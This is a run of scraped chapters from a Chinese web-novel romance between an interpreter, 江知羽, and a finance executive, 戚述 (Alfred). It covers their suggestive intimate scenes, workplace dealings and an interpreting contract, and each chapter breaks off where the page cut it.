江知羽并不无知,同时也不畏惧。 他没有要求换床单,没有脱去这身宽松睡衣,走近之后,无意回到原来的位置…… 屋内光线黯淡,江知羽大胆跨在戚述身前。 他甚至开口问:“我坐过来了,然后呢?” “讲催眠故事还是想变戏法?反正我要是觉得无聊,就让你滚回隔壁那间。” 戚述沉默地盯着他,一时没有讲话,这让江知羽愈发无所顾惮。 之前江知羽被戚述帮忙,见对方不动声色地洗手,自己背地里怀揣心结。 倒没有很失落,他是野心勃勃,想要这个人被拉下神坛,瞧瞧究竟会有一副什么模样。 这时恶作剧得逞,江知羽感觉得到了答案。 原来对方也不是无动于衷。 会晃神,会屏息,会被另一个人的存在影响。 “Alfred。”江知羽捏了捏他的耳朵,“干嘛不讲话了,那我下去?” 说完,他作势就要后退,却被拦腰往前一托。 戚述从小学击剑,工作后也时常练习,体态和身体素质都比寻常人要好。 包括他的臂力也同样,江知羽尽管身形清瘦,可个子接近一米八,再怎么说也是个成年男性。 放在戚述这里,由于动作太过轻易,显得江知羽好像一只精致的洋娃娃。 “腱鞘炎不方便敲门,现在能捏别人耳朵?”戚述问。 江知羽说:“我的手具体不方便干什么,你真的猜不到?都是我出尔反尔了……” 戚述头一回见人不想认账,居然可以说得那么自然。 “你欠着,回头利滚利,我正好收高利贷。”他道。 江知羽不肯吃这种亏:“你想得美,我现在就一笔还清,有劳你奖励自 提吧。 这么说着,他还朝戚述摊开双手。 江知羽的人比戚述小了一圈,手掌也要小上一圈。 指节莹白细长,没有沾过阳春水,找不出任何粗糙痕迹,似乎天生该出现在钢琴的黑白键上。 戚述低头看了看,重复他的话语:“自提? “对啊,我不太会,平时洗完澡就睡觉,不太在意这茬。江知羽说。 他没什么愧疚感,但口头做出抱歉。 “没什么技巧还是别随便动了吧,万一把你搞伤了,你还要讹我医药费。他总结。 已经说得这么过分了,江知羽以为自己会被掀下去。 然而,他非但没有被驱赶,反而被一手握住了腕部。 戚述掌心覆上来的时候,江知羽下意识地有点后悔,可这会儿没办法逃跑。 男人的体温比自己烫,肌肤触碰到的时候,存在感实在太强烈,搞得他霎时浑身绷起。 为什么被摁着手的滋味这么奇怪?像是整个人被全盘操纵。 江知羽有些抵触,微弱地开始挣扎。 而在他面前,戚述力气比他大得多,要想对抗的话,两人根本不在同一水平。 戚述察觉到他的青涩,不由分说地牵过他,却并未向下探去。 在江知羽紧张到闭眼的时候,戚述没有用言语来安抚,只是略微地侧过头。 紧接着,江知羽在越来越吵的心跳声里,忽地小臂内侧传来一阵短促的温热。 ……Alfred啄了啄他的手腕。 · 父母约好早上九点开车过来,聂铭森八点半起床,发现戚述已经坐在餐桌前。 一边听着财经播报,一边拆开吐司,戚述注意到聂铭森过来了,问他想要吃什么。 “鸡蛋三明治。聂铭森报菜名。 周末上午很清闲,戚述起身去厨房拿出煎锅,给聂铭森做了早饭。 聂铭森问:“哥,你什么时候来我们这儿住几天啊?爸妈经常在家里念叨,怕你在外面不能照顾好自己。 戚述推辞:“我不习惯和别人一起住。 他是那种只要自己不乐意,就鲜少会退让的固执性格,并非对这个重组家庭有什么怨气。 母亲与继父能恩爱融洽,过得平淡且幸福,他一直抱有祝福的态度。 但让他和不熟悉的长辈同在屋檐下,他难以想象,更别说适应。 戚述不追求所谓的世俗团圆,不屑于磨平自己的棱角嵌入这套框架。 家长们的航班早上落地,从机场回家的途中绕来这里,戚述适时送聂铭森下楼。 “咦,江老师的鞋子怎么在这里?聂铭森在玄关处惊讶。 戚述说:“昨晚下暴雨,让他留宿了,还没起床。 聂铭森点点头:“加班肯定很累了吧?冒雨赶回去也麻烦……不过是你主动让他过夜的么? 戚述跳过了问题,提醒:“等下关门的声音轻一点。 两位长辈难得碰上他,今天正好能见面,不禁嘘寒问暖了几句。 除了让他注意工作和生活要平衡,就是叮嘱他年纪到了也该考虑人生大事,这两样无论哪一种,戚述都没有办法做到。 模版式地敷衍了几句,他转身回到家里,走进书房自顾自加班。 到了十点钟左右,走廊传来窸窣动静。 戚述出门一看,江知羽步伐轻飘,小心翼翼地准备往外溜。 “聂铭森走了。他淡淡地说。 “或者说你想躲我?我也可以装作没有看到过你。 江知羽得知聂铭森不在这里,不禁松了口气,转而眼神闪烁地看向戚述。 昨晚他已经做好了被摆弄的准备,互相帮忙互不亏欠,以后要翻脸不认人也能断得干干净净。 然而,他被蜻蜓点水地亲过手腕,戚述居然就直接松开了自己。 江知羽转眼被放到了床上,然后戚述就坐在旁边看着。 要是再不睡觉,肯定就要接着弄,他有些不知所措,翻身背对着戚述,胡思乱想着没再吱声。 没想到半刻之后,他逐渐萌生困意,在男人的注视下睡了过去。 自己真的就这么被饶过了? 江知羽今天醒来的时候,为此发了一会儿蒙。 心知对面的光鲜皮囊之下,究竟能做怎样的禽兽行径,他对戚述没有深度的信任可言,默默检查了一遍自己的身体。 没有可疑的掐痕或指印,蹦蹦跳跳也没有哪里不舒服。 江知羽继而轻快地伸了个懒腰,不想和聂铭森撞上徒增尴尬,还打算独自匆匆离开。 这下被熟悉的嗓音喊住,江知羽面对戚述,发觉这人最难对付。 经过昨晚那件事,现在该怎么反应呢? 直接忽视肯定不行,他在人家的大腿上坐了半天,转头就不明不白地掀过去?那白白浪费了自己当时的勇气。 问一问昨晚为什么没再做下去?貌似也不太合适,自己给自己挖坑。 毕竟答案显而易见,都 是江知羽临场表现得太笨拙。 情绪紧张叠上工作劳累,又待在截然陌生的环境里,他整个人难免有些僵硬。 戚述没做下去也正常,江知羽思路清晰地琢磨着,既然放纵就肯定要尽兴,不上不下的太没劲。 “你昨晚睡在哪里?”江知羽避重就轻地找了个话头。 “隔壁屋。”戚述心想这真是提了个好问题。 他顺势告状:“我坐在床头,你又往床头挤,没敢在你这里多留。” 江知羽怀疑这人趁他睡得早没意识,偷偷摸摸冤枉自己。 他撇撇嘴:“最开始就没让你进来,你自己非要到我这里,我都还没嫌你碍手碍脚。” “上午多做了一份三明治,在锅里保温。”戚述没和他争辩,“要吃吗?” 江知羽开始品尝戚述的劳动果实,说自己还想要坚果酱。 两人饮食习惯有点类似,戚述拿出坚果酱,放到他的碗碟旁边。 这个点等于吃午餐,正好冰箱里还有牛排,戚述拿出来解冻,稍微处理了一下。 “你经常自己下厨?”江知羽问。 戚述说:“留学的时候学会了做饭,现在一个月偶尔开几次火。” 江知羽恍然大悟,很多留学生都是如此。 像他这样在海外待了许多年,毫无厨艺的属于少数派,一度娇生惯养得不食烟火。 “下午我要去东城开会,帮同事顶了一个海外上市的活,那家公司要赶时间。”他翻看手机的日程栏。 戚述发现他时不时会有突发情况,同事做手术找他代班,下属写资料要他审核。 “你自己的工作不会被打扰?”戚述问。 江知羽道:“前两年兼顾得吃力,我以前没有基础,多做一点也应该,现在反正已经熟练了。” 没有科班背景,没有家庭助力,离开过国内好几年,到了大学毕业才回来,他事业的起步阶段,完完全全是白纸。 蒲音作为第一梯队的语言服务公司,新人要想在里面立足,那是费尽了心力才留得下来。 从零开始构建人脉的时候,江知羽从来不会挑剔,一些别人不做的杂活也愿意接,有前辈肯带他锻炼实务,他就帮忙拎包和跑腿。 小少爷在那两年结结实实吃了苦头,被放过很多次鸽子,也有过忙活两个月被拖欠尾款。 江知羽对其一概承受,没有被这些困难阻挠,反而更加坚定地要往上发展,让自己不再被轻视 第 18 章 共枕 《我们可没有谈恋爱!》全本免费阅读 浴室的瓷砖蒙了一层水汽,倒映的人影模模糊糊看不真切。 江知羽用额头抵着墙,思绪分不清是浑噩还是兴奋,如同他此刻呼吸,乱成了一团。 权力、金钱和欲望都是世俗人性,他的心智独立成熟,性格留有锋利的一面,从不认为追逐这些东西值得羞耻。 他甚至在这方面非常地贪婪和直白,有野心就会去索求,并不吝啬于暴露自己的进攻性。 所以,当江知羽听到这种直勾勾的邀请,第一反应绝对不会是回避。 他的冒险欲被刺激起来,评估了眼前的风险是否会吞噬自己,决定放纵好奇心。 羞赧和犹豫被更尖锐的情绪压倒,他最终没有离开这一片热水。 江知羽的睫毛也被打湿了,他安静地半垂着桃花眼,有一些睁不开。 紧接着,那颗泪痣被指腹抚过,江知羽有些吃力地扭过脸。 眼珠子随之转动,他用余光瞧着身后。 戚述站在那里,很快就发现江知羽在看自己,倾过身询问怎么了。 他的嗓音偏低偏冷,平时讲话有种不容置疑的意味,显得疏离又强势。 或许是水声将其衬得柔和,这时没那种感觉,听上去有些顽劣。 江知羽的力气都拿来扶着墙壁了,却不忘跟人做对。 “嫌你笨手笨脚。”江知羽几乎是咬着牙齿在讲话,顺带给戚述扣黑锅。 顿了顿,他竭力不去发颤:“谁让你私自碰我的脸了,我有同意吗?” 这处空间太狭小,回音似乎还没有散尽,戚述就开口回应。 “怎么,上面有也是有你自己的东西,你自己嫌弃?” 说完,江知羽立即恼怒起来,作势就要离开,却被戚述堵在角落没有动。 两人身形区别在平日里并没有那么明显,如今距离一靠近,简直让江知羽无法忽视。 只要对方想,他可以被覆盖住,或者被拢起来。 这种强烈的差距甚至能制造出压迫感了,可是江知羽没有怯弱。 他一边摆冷脸,一边生硬转移话题:“我很渴,这里太热了。” 表面上发着脾气,看着张牙舞爪没有顾忌,实际他默默犯嘀咕。 这个变态是不是有特殊癖好?否则怎么会还没有结束?江知羽在心里污蔑。 不过是一时兴起,自己没想到会拖得那么久,体力有些支撑不住,又不肯主动示弱。 戚述闻言瞥了他一眼,江知羽这时还要装模作样,哼哼着假装一点 也不局促,单纯地想要喝水。 “我去帮你拿?”戚述被领着参观过一圈,已经知道他家冰箱在哪里。 江知羽跟他不对付:“我又不是没有手。” 他态度带刺,很容易惹人不快,但戚述并没有因此流露出任何的失态和不妥。 戚述上下打理着江知羽,没有立即把人松开。 不过,他慢条斯理地说:“我以为你身上酸,既然不妨碍你多走几步,那我等等帮你擦干净。” 江知羽确实连眼眶都在发酸,然而不仅死不承认,想让对方成为哑巴。 热水阀没有关上,浴室里开着换气扇,江知羽依旧有些喘不过来。 飘忽之际,江知羽若所有觉,微妙地僵了下。 这下心情不止是想让戚述闭嘴,还想把对方捣成花肥,饲养那株新鲜铃兰。 因为他终于明白了戚述为什么会提到“等等帮忙擦干净”。 江知羽不由地脸颊发烫,准备捏着拳头装死和纵容,反而是戚述克制着不直接冒犯他。 戚述还好意思主动问:“江老师,我可以蹭在你腿上吗?” 尽管他声线平稳缓慢,语气听着很礼貌,但江知羽可以笃定,这个人在故意挑衅自己。 江知羽垂着脑袋,不想认怂拒绝,也不想坦率答应,此情此景相当于别扭地默认。 随后,他本能地屏住了呼吸,皮肤上分不清是水珠还是薄汗。 唯一可以辨别明确的是,这里还有另一个人的湿滑标记。 戚述径自抹上去,又亲手冲刷掉,江知羽始终抿着唇角,显而易见地不愿意和他讲话。 披上浴巾吹干头发,江知羽洗漱完毕,率先离开浴室,而戚述留下来清理淋浴间。 这里摆放的日常用品被精挑细选过,洗浴牌子虽然相对小众,但味道和使用体验都很好,配方全是柔和的植物萃取。 护肤品很简单,除了洗面奶就是一套水乳,不过古龙水和须后水换着花样有好几瓶。 戚述还发现江知羽买了很多精油球,筐子里有不少附赠的划水玩具,看起来隔三差五会泡澡。 他从而看了眼浴缸,不大,只适合单人使用,被维护得干净白亮。 旁边有电子产品支撑架,还有一个很小的移动防水柜,随手存放了几本实体书。 戚述多看了几眼,里面什么类型的书都有,内容从游记随笔涵盖到文学评论,语言能从法文跳到拉丁文。 并且,江知羽没有让它们吃灰,往里面不少夹了书签, 书主俨然保留着良好的阅读习惯,会有意识地输入大量文字。 就是脾气有点大,戚述在心里补充,估计一整晚都要让他看脸色。 戚述洗漱完,江知羽还没有休息,坐在沙发上发呆。 注意到戚述走了过来,他偏头错开目光,拿起旁边散落的纸张,开始装作研究工作。 “这是什么?戚述没去看纸上内容,打破了僵持的氛围。 打冷战未免太幼稚,江知羽道:“戚述去年发的论文,我印出来随便看看。 发现身旁的男人瞧了过来,他忍不住开始呛。 “论文。 “写过,他没骗你。戚述道,“聂铭森还跟你说过什么? 江知羽很有架子,傲慢地做出回应。 “把你抖落了个底朝天,怕你回去家庭暴力,我觉得你换个方向来搭讪比较好。 戚述很想发笑,但这会儿如果真的这么做,江知羽怕是会恼羞成怒。 于是,他选择配合:“还不上床休息么? 江知羽其实有点累了,只是刚才戚述还在卫生间兢兢业业地收拾狼藉,自己要是自顾自地躺到床上,总觉得不是很好。 眼下听到戚述这么询问,他没办法实话实说,这该怎么表达?难道要讲自己在等对方出来? 江知羽顿了顿,说:“这就睡了,去给你找只枕头,省得你半夜过来和我抢。 戚述没和他见外:“我喜欢睡低一点的。 江知羽看不得他舒心:“凑合着过今晚而已,你怎么还挑上了呢?反正我拿最差的那 第 19 章 伏线 《我们可没有谈恋爱!》全本免费阅读 屋内没有光源,手机刚熄屏没多久,戚述沉默地适应了一会儿。 虽然视野之内还是很暗,但他现在可以瞧清楚江知羽的脸庞。 趁着别人没法发现,这么盯着打量,不管怎么说,实在是一种失礼的行为。 尤其戚述仗着江知羽睡意正浓,目光笼罩在他身上,完全没有收敛的意思。 江知羽的体温偏低,以至于自己指尖的触感有点凉,大概正是因为他天生怕冷,所以才会下意识地这么贴过来。 骨相好,睫毛长,鼻梁秀挺,戚述在心里一寸寸地分析着。 有时候喜欢摆臭脸,眼神显得很高冷,但嘴角会不经意地往上翘,削减了整个人的攻击性。 这段时间以来,从江知羽出现开始,杨牧川和秘书各自提到了两三次,都在说他长得好看。 真的是这样吗? 戚述不像他们这么没出息,在他的观点里,大家都是一双眼睛一张嘴。 有的五官端正些,有的线条扭曲些,本质上没多大区别,不值得在看脸这件事上浪费时间。 此时此刻,戚述好奇许久,终于结束这场暗中观察,认为江知羽属于正常的人类男性。 如果需要自己再多说几句,那就是对方确实具备一定的美观性。 “是要比同事、朋友、数据报表漂亮一点。他客观地在心里评价。 戚述想完,为了核对结果,又去瞄了几眼。 他想碰碰江知羽的泪痣,可是嫌这样做太出格。 之前是江知羽靠近,属于他主动骚扰,戚述现在伸手的话,那就双方位置反过来了。 他都不用纠结,做不来骚扰的事情,虽然自己也没有很乐意被黏着。 “唔。江知羽睡得沉了,身体又疲惫,很小声地梦呓。 这声音微乎其微,戚述需要专注侧耳,认真分辨字词,想窥探他在做什么梦。 随即江知羽调整了下睡姿,闷闷嘟囔:“不好,你不可以蹭。 他们洗澡的时候,单纯地互相抚慰,最过分的就是戚述拢着他的腿,弄脏得一塌糊涂。 江知羽当时其实想过翻脸跑掉,可惜被握着腰肢,并没有成功。 夜里这么嘀咕的时候,他还用手指甲挠了挠床单,不知道是否把床单当成了戚述的侧颈。 戚述以为江知羽会再骂几句,然而江知羽软软地趴着不吱声了。 之后偶尔蹬下被子,或者翻一个身,算不上有多闹。 戚述止住视线,连带着手也收了 回来,背对江知羽挪在大床边角。 陌生的房间,刚认识不久的人,戚述的心理防线很高,这样的环境里很难真正地放松。 哪怕彼此争锋相对又亲密纠缠,感官刺激和同枕入眠完全是两码事。 也就江知羽足够心大,睡眠质量还很好,居然一闭眼就在旁边睡着了。 戚述走着神,感觉到江知羽又抵了过来。 这下戚述懒得再管,到了早上,江知羽的闹铃率先响起。 “怎么这样,还没有周末。”江知羽意识到今天是工作日。 他有点起床气,抗拒地扯了扯被角,迷迷糊糊要把脑袋蒙到里面去。 往常做这个动作堪称行云流水,眼前却硬生生卡在开头——他扯不动这条被子了。 从而江知羽蹙了蹙眉,终于舍得睁开眼睛扫视一下异样。 几乎是同时,他猝不及防地认知到,自己正埋在一道宽阔结实的肩膀上。 欢快提神的铃声从床头传来,响了一遍又一遍,这让江知羽没办法合理装死,只能慢吞吞地往外面移。 原来睡自己边上真的很辛苦吗?江知羽非常心虚。 他再逐渐有些忐忑,不知道Alfred有没有发现,发现了又会作出什么反应? 结合以往印象,江知羽觉得这人浑身全是坏心眼,如果自己真的被抓到把柄,早就被借机嘲弄和调侃了。 江知羽一边想着,一边放轻手脚,继而抬起眼睛,滴溜溜地观察了半分钟。 戚述没有任何动静,连呼吸都没有变化,江知羽不禁松了口气,再坐起来关掉闹钟。 “你每天用不用打卡考勤?”江知羽清了清嗓子,“Alfred,你不会赖床吧?” 他说话之际,戚述睁着眼在看墙壁,全程感受着他如何撤退,当下又如何装模作样。 “不用,上午有人送东西过来,我等等回家有事。”戚述回答,整一块业务如今归他独自掌管,没人来考勤他的坐班时间。 失眠得彻底,他说话不免略微发哑,听着懒洋洋不成样子。 不过他声带条件非常好,这样的情况下没有变难听。 江知羽对“性感”没有具体认知,但听到他的声音,本能地在心里说了句男狐狸精。 紧接着,男狐狸精张嘴说人话:“你要去赶早高峰?” 每当这种时间段,江知羽也羡慕公子哥生活潇洒,不懂起早贪黑是什么滋味。 但这样的情绪没持续两三秒,即刻被另一股力量冲散。 “对啊,我该抓紧点了,待会儿估计堵车。”江知羽揉了揉胳膊,翻找衣柜很有干劲。 尽管双方有问有答,状似各自轻松稳妥,但其实江知羽故意埋下头,看着一众衣物配件,愣是避开与戚述对视。 下了床,个个光鲜亮丽人模人样,反倒比耍流氓更加棘手,让他不知道如何表现最合适。 还把对方视作陌生过客,礼貌地区分界限,还是将对方看成半夜情人,多少要给点笑脸? 开口都不知道怎么找话最自然,工作的琐碎太刻意,日常的寒暄没必要。 总不能转头讨论两人之后怎么说吧?搞得像是意犹未尽地约炮。 江知羽冒出这个想法之后,忍不住倒吸气,真是堕落啊,江知羽,你怎么满脑子都是这种东西? 当然,他不觉得戚述的心思比自己干净得到哪里去,这个大尾巴狼应该最肮脏才对。 “我有点好奇,你怎么看这篇论文。”戚述率先打破了微妙的氛围。 在默默警惕的江知羽:? 怎么这么绿色?他为此松了口气,又莫名有点不服。 他站在落地镜前,食指佩戴完宝石戒指,抚平衣衫的褶皱,侧过脸时已经收拾好表情。 继而江知羽看到戚述坐在沙发上,漫不经心地翻着几页打印纸。 “作者心高气傲,肯定觉得美债投资者傻人有傻福。”江知羽并不说论文内容,讲起内心的揣摩。 他重点偏移,闲谈:“我怀疑他在公司里会被债券的同事投诉。” 听到他这么猜测,戚述笑了一声,随即江知羽道:“你看不出他很欠揍吗?” 戚述说:“可今年的市场走势证明了他该开香槟。” “他赚多少钱不关我的事呀,买的豪宅豪车也没让别人沾光。” 江知羽另外有心事,一边说着,一边散漫地摇了摇头。 他分享:“我收到了松晟股权部的邀请,他们让我去做一场讲座同传。” 就是这两天的事情,收到邮件那会儿,他在茂丹科技驻场。 江知羽看完就关掉 第 20 章 擦肩 《我们可没有谈恋爱!》全本免费阅读 江知羽前脚和邻居澄清他俩是兄弟情,后脚就被“兄弟来了这么两句话。 ——后背,红印,今天还没消。 ——靠过肩膀,睡过觉。 意思摆明了就是“想撇清关系这可不行。 被这些言语砸得晕头转向,江知羽猝不及防,别开脑袋讲不出话,拦住出租如同攥紧救命稻草。 他躲进后座,隔着玻璃窗,终究没有忍住,还是朝外面多看了一眼。 Alfred就站在路边,身上穿的衣服刚从自家烘干机里拿出来,西装外套挽在臂间,看起来笔挺又斯文。 “败类。江知羽在心里补了这两个字。 原来Alfred早就醒了,却装作睡着,让江知羽以为自己的小动作没被发现。 最开始捂着没说,又不风度到底,到了临别这么戳破,使得自己手足无措。 思及此,江知羽磨了磨后槽牙。 大腿内侧尚且红肿,刚才走了这么一小段路,哪怕挑的长裤质地柔软,依旧擦得皮肤细微疼痛。 这无声提醒着他,双方昨夜如何温存,自己笨拙地配合到了哪一步。 不过,那些朦胧的画面如角落阴影,而此时此刻,五月的日光太过明朗。 出租缓慢地驶入车流,江知羽的手指敲了敲膝盖,收回来的眼神清醒又戒备。 不当朋友,没有友情,那该如何定义彼此? 江知羽看着Alfred的聊天框,切换到工作邮箱没给出答案。 摩天碍日的写字楼伫立在长安街旁,他轻车熟路乘上28楼,到了办公室以后,有条不紊地开机、泡咖啡和过目日程表。 最近是业务高峰期,下一场同传约在下午,是能源类的峰会。 江知羽订好闹钟,与当日的客户打过招呼,又在浓郁的拿铁香味里,给松晟的股权部门回电话。 “江先生,您好。对面道,“很高兴您打电话过来。 江知羽与他客套:“能收到你们的邀请我也非常荣幸。 下一句,他巧妙地说:“我去参加翻译协会的聚餐,还听杉仪的朋友聊起过,你们是最理想的客户。 杉仪也是有名的语言公司,长期为那边提供协助。 江知羽在间接提醒对面,自己没那么愣头青,心知肚明他们突然更换了乙方。 “能合作愉快是我们最想看到的结果。秘书语气自然,“但做生意不是结婚,不需要一辈子都是同一位服务商,谁最合适就找谁咯。 江知羽笑了下对此不置可否。 他道:“你们的讲座主题我看过了我的工作一直让公司全权代理不太方便接私活有需要的话欢迎找蒲音的商务洽谈。” 这方面松晟毫无意见说江知羽有空就好确认过他的意愿之后他们就会公对公推进合同。 继而互相交谈了一会儿档期江知羽挂断电话没多久周柯就找来他的工位。 “为什么你和松晟股权的搭上边了要在同一家吃两口饭?”周柯揶揄。 江知羽道:“这一口怕是断头饭吧?你帮我把价格抬高一点不让他们出出血不划算。” 他的收费极其昂贵反正松晟作为头部金融公司买单方面绝对潇洒自己就当是精神赔偿款。 周柯顾虑:“我怕并购的知道了会有想法。” “希望他们上博弈论这门课的时候带了脑子和耳朵。”江知羽表示冤有头债有主。 “但凡这门课及格了他们也该是对自家人闹意见而不是对我这块软弱的夹心饼干开刀。” 周柯说:“你有胆子去就好其他的我也不唠叨了你自己心里有数。” “嗯放心。”江知羽也不再多说。 人情世故太复杂了或许千防万防抵不过对面当天心情好就想原谅全世界。 现在两边都没碰过面妄图摸清别人的想法没有意义越去深究越是一团乱江知羽不喜欢活在猜疑里。 没有过多久这份合同签完定金款项打在公司账上。 既然决定要去江知羽没有刻意瞒着不过几天这消息就差不多传遍了办公室。 同事们得知之后纷纷祝贺他搞定了大客户。 “我就说你要是能拿下戚述那边客源根本不用愁光是你能过他的眼就已经是最厉害的广告了。” 同事之间不会替人深想太多听说江知羽又接到松晟的需求第一反应就是惊讶和艳羡。 他这么说着再道:“你之前没扛过大活动一接就乘东风了我一直惋惜你差点机遇现在说来就来了。” 江知羽弯起眼睫:“谢谢开单这么顺利我中午请大家吃饭。” 国贸附近有许多酒店和餐厅他们中午不想吃配餐的便当盒就会到不远处的商场随便找家店。 江知羽挑了一家粤菜十来个人坐在包厢里门没有关紧墙壁的隔音效果也一般。 徐老师听到隔壁传来的声音认出那边是茂丹科技的人离席片刻去寒暄了 几句。 过了会,他笑着回到包厢,有个年轻人跟在他的后面。 “萧经理,江总监。年轻人朝他们打招呼。 江知羽被点名后,困惑地抬起眼,做口译的记忆力必须要好,眼前人的相貌很熟悉。 他很快就记了起来,之前徐老师做阑尾手术,自己替他去茂丹科技,帮忙顶班了几天,这一位则是公司老板的儿子。 殷衍,江知羽脑海里浮现出正确的人名,与此同时也落落大方地回了一声。 “没想到这么巧,我这边吃完了准备要走,顺道来和你们打个招呼。殷衍说。 江知羽笑着说:“你忙,我们来得比较晚,菜还没上齐呢。 等到殷衍一走,徐老师关上门,说起这段时间以来的小道消息。 “平时看着挺正经,天一黑就是花花公子,据说每天都在不同的酒吧过夜。徐老师道,“玩得特别开,什么都能来。 “真的假的?萧徽诧异,“他言行举止都蛮规矩,我这几天和他有过接触,完全看不出来。 徐老师道:“我也是正巧去茶水间倒饮料,听到他们行政处在聊八卦,其实我也没发现。 萧徽说:“行了,玩咖归玩咖,没给他爹整出孙子来就好。 徐老师道:“那还真的整不出来,她们说太子爷唯爱搞基。 “草,身为男同胞有点危险啊。萧徽汗毛耸立。 徐老师无语:“搞基也得挑一挑,哥们儿,你长得还没人家嫩。 其他同事不约而同地笑起来,让萧徽别这么恐同。 萧徽也在笑,摇着头地摆了摆手,讲自己也没那么老古板。 江知羽眼角弯弯,安慰:“殷衍在公司表现得那么老实,大可以放心,怎么可能对合作商下手?你每天要给 第 21 章 宝贝 《我们可没有谈恋爱!》全本免费阅读 江知羽觉得这位戚总有毛病。 他们打过照面吗,算熟吗,就蛮横地圈地盘? 用的词语居然和自己撞一块去了,这人是不是学人精? 尽管对方开口得更早,可江知羽还是给人扣上了罪名,并和门卫进行了辩解。 “不怎么认识。江知羽说,“他长什么样我都不知道呢,今天我是和他同事见面。 门卫说:“也是赶巧戚总路过,不然这事儿可大条了,说起来露西估计很忙,有招待不周的地方您别介意。 江知羽莞尔:“能理解,我今天到得早,她大概另外有事。 双方定的是两点一刻,他平时习惯提前十分钟左右到场,以示自己的认真对待,途中有点意外也可以留有缓冲余地。 不过,现在虽然还没到约定时间,但露西理当做好访客录入,这肯定是流程上不够缜密。 前台连连朝他说不好意思,解释自己也没打通部门秘书的电话,让人先在待客室稍作片刻。 过了一小会儿,行政端来茶水,露西就紧赶慢赶地过来了。 江知羽垂眸看了眼腕表,两点一刻,准确来说没有迟到。 “中午突然有个视频会议,需要我来主持,议程一长就耽搁到了现在。露西匆匆道,“没有害您久等吧? 江知羽说:“没关系,门口碰到了您这边的首席,我就直接进来了。 露西愣了下,多问了一句:“是戚先生? 江知羽道:“那辆慕尚是他的专车? “是的。露西道,“戚先生前几天去香港参会了,没想到他回来得那么早。 随口聊完,她道:“江总监,我们上楼吧,股权是9楼到12楼,一共有三层办公区。 今天他们主要是核对讲座的内容,提供给江知羽底稿资料,两边就一些专业上的阐述做探讨。 投行这边的从业者本身英语就很好,但高级的语言表达不止传递内容层面,还要考虑如何让内容本地化,使得其他地域的听众更好理解和感受。 这次讲座的主题非常深刻,涉及到经营激励、融资偏好和分置改革多个方面,江知羽在欧洲进行了专业学习,对国内这方面的关窍不算很了解。 他不认为自己是最合适的人选,但也没必要把锻炼的机会拱手让出,如今在这里边听边学,没有拖后腿。 在场坐了几位副总和一位执行董事,用金融的说法就是VP和ED,过了会儿,作为主讲人的董事总经理也过来来了。 按资排辈的话,董事总经理作为MD,层级高于另外两个,仅次于合伙人。 根据江知羽的观察,以戚述在公司的级别大概是MD,而论实打实的职权,应该快要与合伙人差不多了。 江知羽算了算戚述的晋升速度,不禁有一些诧异,自己也想30岁前坐坐周柯的老板椅。 可转念一想,周柯需要管业务谈判,每天都绞尽脑汁地与客户推拉,江知羽立即打消了念头。 他喜欢往写字楼外跑,呼吸太阳下的空气,接触更多形形色色的生动事物。 而不是现在这样,接受四周近乎审视的目光,每一句话都需要斟酌考量。 “江老师是不是有过金融履历?”交谈告一段落,有位ED笑着问。 江知羽说:“读书的时候有过几段实习。” “他和你是校友,不过你在数学院。”露西适时补充。 这一行很挑学历,在头部公司里,名校毕业的遍地走,不是什么稀奇事。 ED说:“那咱们都和戚总的母校挨着啊,戚述在牛津读的研究生。” 那位总经理道:“怪不得江老师好像对国内的政策不是特别熟,这里融资渠道相对狭窄一些。” 江知羽没顶嘴,爽快认下自己的短板。 “我对有关规定没领悟透,在这里学到很多,感觉讲座的现场效果会更精彩。” “除非手眼通天,没吃透才正常,你没待在一线工作,能了解那么多业内要求已经不错了,我全心研究半辈子也就这样。”总经理实话实说。 他再说:“你的能力不错,年纪还小,我就说并购部的眼光好,找过来看看果然是这样。” 尽管他抬了江知羽两句,似乎非常认可,但江知羽心知肚明,这群人肯定就是在考验自己。 他们想知道戚述挑中的人是什么样,江知羽琢磨着,今天谈到这步,他觉得对方的意图不仅仅如此表面。 尤其这群人虽然没表现出敌意,可有意无意地释放压力。 江知羽心说,他们还想瞧见自己惶恐地乱了阵脚,以此来表现戚述也没那么稳当。 他要是有哪里不妥,估计等下出了这扇门,松晟开始全体广播:“股权部门被戚述选的翻译师坑了,让我们看看怎么回事吧!” 无论怎么说,这会儿在外人眼里,江知羽跟戚述是某种意义的共同体。 自己是对方点头同意的团队主导,形象和言行专不专业,侧面反应了对方的靠谱程度。 想到这里,江知羽 觉得好笑。 自己怎么和高高在上的“戚先生同患难了? “我们今天就说到这里,江总监,这份稿子注意信息隔离。露西道。 江知羽朝她微笑:“放心。 露西道:“这会儿该吃晚饭了,您如果方便,留在这里用餐吧? “谢谢,不用这么客气。江知羽道,“我还着急回公司有点事。 露西这下四平八稳地送客,江知羽没有刻意提起她之前的怠慢,这属于部门之间的明争暗斗,秘书在其中也不过是听领导发号施令。 一起走出园区的路上,他好奇:“戚总来松晟几年了,职位似乎比同龄人高得多? “五年。露西说。 松晟内部从来不缺聪明的头脑,人与人都是在其他方面拉开差距,而这些区别很难后天不足。 “他的天赋非常高,勤奋得不可思议,而且精力特别充沛,匹配得上他的控制欲,每一件他想管的事情,任何细节都被他操纵在掌心里。 她平静地说着,忽地笑了下:“最重要的是,他敢冒险去抓每一次机会,这和江总监有点像。 江知羽偏过头:“那戚总都抓牢了吗? “总该有一点事情超出他预料吧,否则他的人生多无聊。露西道。 她再道:“不过江总监还是顺利点最好,后天的讲座直播很重要,美洲银行这块您出于严谨多多补课。 “美国银行。江知羽略微顿步,终究决定开口。 他道,“它原来的官方名确实有美洲两字,好早之前改掉了。 看露西有些意外地怔愣,他弯起眼睫:“预习比补课更好,邀请合作伙伴的时候,也该在他们敲门之前想好怎么开锁,对吗? 江知羽不多问自己和戚述具体有哪里相似,因为他并没打算和这位大客户玩连连看。 与此同时,江知羽不介意告诉大家,自己也没那么任由招惹。 之后回到蒲音,他收到了Alfred的消息。 [你见过松晟股权部了?] 原先和Alfred讲过这件事,江知羽回复:[暂时收工,我算是被绑到戚述那条贼船上了。] 他幽幽叹气:[这人又不兜底我的死活。] Alfred:[讲座内容很难?我刚才看到了他们宣传出来的主题,配股权利润操纵和证券市场法规体系?] 江知羽大吃一惊:[很懂行啊,你居然打对了这么多字?发给我朋友念,他都念不明白。] Alfred似乎无语了一阵才兴致缺缺地说:[股市资深用户。] 江知羽调查:[买的是大豆吗?还是免税板块呢?] 说到的这两个都位居去年跌幅前十短短几分钟内Alfred被接连质疑了能力。 他不太想和江知羽继续讲话了沉默了好一会儿发过来一个文档里面是一些链接。 江知羽:[?] Alfred:[我本科写过这一块论文当时准备了一些论文资料放在硬盘里没删掉。] 